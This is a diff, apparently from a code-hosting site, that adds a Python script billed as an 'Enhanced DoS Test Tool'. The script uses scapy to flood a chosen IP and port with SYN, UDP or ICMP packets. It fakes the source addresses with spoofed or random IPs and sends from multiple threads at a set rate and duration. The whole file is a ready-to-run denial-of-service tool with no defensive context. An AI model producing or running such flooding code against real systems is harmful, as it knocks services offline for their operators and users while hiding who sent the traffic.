|
| 1 | +import argparse |
| 2 | +import random |
| 3 | +import threading |
| 4 | +import time |
| 5 | +from scapy.all import * |
| 6 | +from scapy.layers.inet import TCP, IP, ICMP, UDP |
| 7 | + |
| 8 | + |
| 9 | +def generate_random_ip(): |
| 10 | + return ".".join(str(random.randint(0, 255)) for _ in range(4)) |
| 11 | + |
| 12 | + |
| 13 | +def send_packet(target_ip, target_port, packet_size, attack_mode, spoof_ip): |
| 14 | + source_ip = spoof_ip() if spoof_ip else generate_random_ip() |
| 15 | + source_port = RandShort() |
| 16 | + |
| 17 | + if attack_mode == "syn": |
| 18 | + packet = IP(src=source_ip, dst=target_ip) / TCP(sport=source_port, dport=target_port, flags='S') / Raw( |
| 19 | + RandString(size=packet_size)) |
| 20 | + elif attack_mode == "udp": |
| 21 | + packet = IP(src=source_ip, dst=target_ip) / UDP(sport=source_port, dport=target_port) / Raw( |
| 22 | + RandString(size=packet_size)) |
| 23 | + elif attack_mode == "icmp": |
| 24 | + packet = IP(src=source_ip, dst=target_ip) / ICMP() / Raw(RandString(size=packet_size)) |
| 25 | + else: |
| 26 | + print("Invalid attack mode.") |
| 27 | + return |
| 28 | + |
| 29 | + send(packet, verbose=False) |
| 30 | + |
| 31 | + |
| 32 | +def dos_attack(target_ip, target_port, num_packets, packet_size, attack_rate, duration, attack_mode, spoof_ip): |
| 33 | + print(f"Target IP: {target_ip}") |
| 34 | + print(f"Target Port: {target_port}") |
| 35 | + print(f"Number of Packets: {num_packets}") |
| 36 | + print(f"Packet Size: {packet_size} bytes") |
| 37 | + print(f"Attack Rate: {attack_rate} packets/second") |
| 38 | + print(f"Duration: {duration} seconds") |
| 39 | + print(f"Attack Mode: {attack_mode}") |
| 40 | + print(f"Spoof IP: {spoof_ip.__name__ if spoof_ip else 'Default'}") |
| 41 | + print() |
| 42 | + |
| 43 | + delay = 1 / attack_rate if attack_rate > 0 else 0 |
| 44 | + start_time = time.time() |
| 45 | + sent_packets = 0 |
| 46 | + |
| 47 | + def send_packets(): |
| 48 | + nonlocal sent_packets |
| 49 | + while True: |
| 50 | + if num_packets and sent_packets >= num_packets: |
| 51 | + break |
| 52 | + |
| 53 | + if duration and time.time() - start_time >= duration: |
| 54 | + break |
| 55 | + |
| 56 | + send_packet(target_ip, target_port, packet_size, attack_mode, spoof_ip) |
| 57 | + sent_packets += 1 |
| 58 | + print(f"\rSent packet {sent_packets}",end="") |
| 59 | + time.sleep(delay) |
| 60 | + |
| 61 | + threads = [] |
| 62 | + try: |
| 63 | + for _ in range(attack_rate): |
| 64 | + thread = threading.Thread(target=send_packets) |
| 65 | + thread.start() |
| 66 | + threads.append(thread) |
| 67 | + |
| 68 | + for thread in threads: |
| 69 | + thread.join() |
| 70 | + |
| 71 | + except KeyboardInterrupt: |
| 72 | + print("\nAttack stopped by user.") |
| 73 | + |
| 74 | + print("Attack completed.") |
| 75 | + |
| 76 | + |
| 77 | +if __name__ == '__main__': |
| 78 | + parser = argparse.ArgumentParser(description='Enhanced DoS Test Tool') |
| 79 | + parser.add_argument('-t', '--target', required=True, help='Target IP address') |
| 80 | + parser.add_argument('-p', '--port', type=int, required=True, help='Target port number') |
| 81 | + parser.add_argument('-np', '--num_packets', type=int, default=500, help='Number of packets to send (default: 500)') |
| 82 | + parser.add_argument('-ps', '--packet_size', type=int, default=64, help='Packet size in bytes (default: 64)') |
| 83 | + parser.add_argument('-ar', '--attack_rate', type=int, default=10, help='Attack rate in packets/second (default: 10)') |
| 84 | + parser.add_argument('-d ', '--duration', type=int, help='Duration of the attack in seconds') |
| 85 | + parser.add_argument('-am', '--attack-mode', choices=["syn", "udp", "icmp"], default="syn", help='Attack mode (default: syn)') |
| 86 | + parser.add_argument('-sp', '--spoof-ip', default=None, help='Spoof IP address') |
| 87 | + |
| 88 | + args = parser.parse_args() |
| 89 | + |
| 90 | + target_ip = args.target |
| 91 | + target_port = args.port |
| 92 | + num_packets = args.num_packets |
| 93 | + packet_size = args.packet_size |
| 94 | + attack_rate = args.attack_rate |
| 95 | + duration = args.duration |
| 96 | + attack_mode = args.attack_mode |
| 97 | + |
| 98 | + if args.spoof_ip == "random": |
| 99 | + spoof_ip = generate_random_ip |
| 100 | + else: |
| 101 | + spoof_ip = lambda: args.spoof_ip if args.spoof_ip else None |
| 102 | + |
| 103 | + dos_attack(target_ip, target_port, num_packets, packet_size, attack_rate, duration, attack_mode, spoof_ip) |
0 commit comments